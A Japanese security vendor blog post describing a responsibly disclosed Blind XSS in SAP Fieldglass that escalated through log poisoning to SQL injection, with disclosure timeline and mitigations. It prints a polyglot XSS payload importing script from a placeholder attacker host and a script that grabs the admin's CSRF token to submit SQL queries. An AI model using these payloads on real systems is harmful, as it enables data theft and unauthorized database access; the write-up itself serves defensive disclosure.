SAP FieldglassのBlind XSS: ログポイズニングによるSQLインジェクションのケーススタディ

エグゼクティブサマリー 

Blind XSSは無視されることが多い脆弱性ですが、今回紹介するシナリオではログポイズニング攻撃によってSQLインジェクション脆弱性にエスカレーションしました。これはBlind XSSで毎回発生することではありませんが、今回の調査結果によって、ログデータを適切に管理しなかった場合など、セキュリティの不十分な管理インタフェースでの複合的なリスクが明らかになりました。 

遅れて実行されるような場合はBlind XSS脆弱性の検出は特に困難です。ULTRA REDが提供しているようなツールはこうしたシナリオの監視と問題特定を目的としており、バックエンドシステム保護のためのプロアクティブなアプローチを提供してくれます。 

すべての脆弱性はSAPのセキュリティチームに報告後、SAPが修正してくれました(同社のウェブサイトに掲載)。こうした協力体制に感謝しています。SAPによると顧客データの漏えいはありませんでした。 

今回のブログではBlind XSSが深刻な脆弱性につながりかねないということを示し、アプリケーションセキュリティの強化に関するインサイトをお伝えします。

はじめに

Blind Cross-Site Scripting(Blind XSS)は通常その効果が遅れて発生し、特権ユーザーのインタラクションに依存しているため、他とは異なる、そして誤解されやすいセキュリティ脆弱性です。

これは私がULTRA REDでSAP Fieldglassバックエンドシステムを使用してサニテーションしていないログを処理する管理者用ページのエクスポージャ時に発生した状況を分析したものです。 

Blind XSSとは? 

Blind XSSは悪意のあるスクリプトをバックエンドシステム(データベースやログ)に保存することで発生し、別なコンテキストで後から実行されます。従来のXSSとは異なり、攻撃者はすぐに結果を確認することはできず、被害者(通常はバックエンドユーザー)が保存されたデータとのインタラクションを将来いつか実施することで、ペイロードがトリガーされるのを待ちます。 

Blind XSSがなぜ危険なのか 

Blind XSS脆弱性の潜在的な影響は、最終的にペイロードがどこで、どのように実行されるのかによって異なります。たとえば以下のような結果が予想されます。

ログポイズニング:攻撃者はログにペイロードを注入し、管理パネル、監視ツール、デバッグ用のインタフェースなど、これらのログを処理または表示するシステムに誰かがアクセスしたときに実行します。 

• 特権のエスカレーション:特権が必要なコンテキスト(管理者用ダッシュボード、社内ツールなど)でスクリプトを実行することで、機密情報のエクスポージャまたは権限のないアクションの実行が可能になります。 

意図しない実行:Blind XSSペイロードが予想外のシステム(自動アラート、メールシステム、サードパーティ統合など)でトリガーされることもあるので、潜在的な影響は悪意のあるインプットがどこで処理されるのかによって異なり、必ずしも事前に特定されるとは限りません。 

ピボッティング:攻撃者はBlind XSSを使用してセッショントークン、クレデンシャル、機密データを盗み出し、システム内または広範なインフラストラクチャでのラテラルムーブメントを可能にすることができます。 

こうしたBlind XSSの予測不能性は特に危険です。ペイロードがどこで実行されるのかを攻撃者が把握していないにもかかわらず、実行によって深刻な被害をもたらすからです。 

Blind XSSの検出は困難ですが、ULTRA REDが提供している最新のツールでは管理者用ダッシュボードなどの隠れたバックエンドインタフェースであっても遅延実行シナリオを監視することで検出が容易になります。 

今回のシナリオではこの脆弱性によってさらに大きな問題が明らかになりました。それはサニタイズされていない管理者用ページでFieldglassデータベースに対してSQLクエリーを実行できるという点です。 

脆弱性の発見 

検出状況 

クライアントのインフラストラクチャをテストしていた時に、テスト対象のウェブサイトに接続されている複数のエンドポイントにBlind XSSペイロードが注入されました。 

通常のスキャンでは、弊社のスキャナーがペイロードを注入し、発生の可能性があるBlind XSS脆弱性がないかテストします。 

以下のペイロードが使用されました(ウェブサイトの構文を壊してスクリプトをインポート、実行しようとする簡単なものでした)。 

"><svg/onload=import(‘//<attacker-host’)>'>'";import('<attacker-host>');//;'><img/src/onerror=import('<attacker-host>')>

このペイロードは一旦保存され、管理者が後にredacted.doというファイルにアクセスした際にトリガーされました。これはログを表示し、ログ情報表示用のSQLクエリー実行をサポートする社内ダッシュボードです。 

実行と同時にペイロードが管理者のDOMを攻撃者が制御しているサーバーに送信し、機密データを暴露しました。 

検出結果 

1.XSSにつながるログポイズニング: 

o 管理者用ダッシュボードがインプットがサニタイズされていないログデータを取得、表示しました。 

o 管理者がログとインタラクションを行うたびに、注入されたペイロードが実行されます。 

2.SQLインジェクションの機会: 

o 管理者はダッシュボードでSQLクエリーを実行することができました。

o 攻撃者はログにペイロードを注入することでSQLクエリーを偽装し、管理者はそれを無意識に実行してしまいました。 

SQLインジェクションへのエスカレーション 

このケースに固有の事象 

このシナリオではサニタイズされていない管理者用ダッシュボードでXSS脆弱性をSQLインジェクションにエスカレーションするまれな機会が発生しました。攻撃者に送信されたDOMを分析したところ、DOM構造内のCSRFトークンの場所が特定できることがわかりました。これにより管理者または他の特権ユーザーが次回アクセスした際に動的にトークンを取得して不正なSQLクエリーを実行できるスクリプトを作り込むことができます。 

以下のようなペイロードが作り込まれます。 

<script>

  function submitFormWithCSRF() {

    if (typeof CSRFTOKEN !== 'undefined') {

      var form = document.createElement('form');

      form.action = '/redacted.do';

      form.method = 'POST';

      form.innerHTML = `

        <input type="hidden" name="dbName" value="log">

        <input type="hidden" name="whereClause" value="SLEEP(5) AND other_conditions">

        <input type="hidden" name="CSRFTOKEN" value="${CSRFTOKEN}">

      `;

      

      document.body.appendChild(form);

      form.submit();

    } else {

      setTimeout(submitFormWithCSRF, 1000);

    }

  }

  submitFormWithCSRF();

</script>

これにより攻撃者は以下が可能になります。 

CSRFトークンを動的に取得:本文に含まれている管理者のCSRFトークン取得。 

任意のSQLクエリーを実行:複数のデータベースの機密データ抽出。場合によっては操作も可能になった。 

SAP Fieldglassインフラストラクチャへの潜在的な影響 

主なリスク 

1.データ漏えい: 

管理者用ページから機密データにアクセスできた。

2.管理者が次回アクセスすると不正なSQLクエリーを実行できた: 

攻撃者は認証を回避して顧客データに対してSQLコマンドを実行できた。 

この種のシナリオでBlind XSSを検出するのは困難ですが、ペイロードの遅延実行を監視するプロアクティブなツールによって、SAP Fieldglassのように相互接続されたシステムでも大幅にリスクを軽減することができます。 

要点 

1.インプットとアウトプットのサニタイズ 

今回のケースは管理者が使用しているシステムであっても、すべてのユーザーインプットのサニタイズとすべてのアウトプットのエンコーディングが不可欠であることが明確になりました。ログ、ダッシュボード、バックエンドシステムはセキュリティの盲点になりがちです。 

2.クエリー許可の制限 

管理者ダッシュボードではSQLクエリー機能を制限し、事前に定義した安全なクエリーの実行に限定する必要があります。完全なクエリー作成機能を付与することは避けてください。 

3.CSRFの保護を強化 

• CSRFトークンはDOMの外に保存する必要があります。 

• サーバーでトークンを検証して不正なアクションを防止します。 

4.社内システムの監視とテスト 

安全策が不十分なまま機密データを処理していることが多いので、管理者ダッシュボードとログビューワーを含む社内システムについてもセキュリティテストを実施する必要があります。ULTRA REDが提供しているような継続的かつ自動的にペネトレーションテストを行うツールの導入を検討してください。 

倫理的コンテキストとリフレクション 

この脆弱性はクライアントのインフラストラクチャに対する検証みのテストを行っている際に偶然発見し、すぐに報告しました。悪意に基づく調査ではなく、リスクを特定、回避し、より安全でレジリエンシの高いシステムを促進することが目的でした。 

結論 

SAP FieldglassのBlind XSS脆弱性は、たとえバックエンドシステムであってもサニタイズされていないインプットが危険であるという注意喚起となりました。Blind XSSは悪意のあるスクリプトの注入に限定されることが多いのですが、今回のケースではセキュリティの不十分な管理者機能と組み合わせることでSQLインジェクションへのエスカレーションにつながることがわかりました。

ULTRA REDが提供しているようなプロアクティブなCTEMソリューションを使用すれば、こうした複雑な脆弱性を検出、回避することができます。

SAPによる謝辞

本ブログ記事の公開、そして弊社による信頼と秩序に基づく開示プロセスに対するSAPの理解と協力に感謝いたします。SAPによる謝辞はセキュリティリサーチと企業防衛のサポートに対する弊社のコミットメントを反映したものです。

情報開示の流れ: 

2024/10/25 - SAPに報告。 

2024/10/28 - SAPから内容が正しいとの回答を受信。

2024/12/2 - SAPが修正。 

2024/12/10 - SAPによる謝辞。

ULTRA REDのCTEMプラットフォームの詳細は、弊社のリソースを参照してください。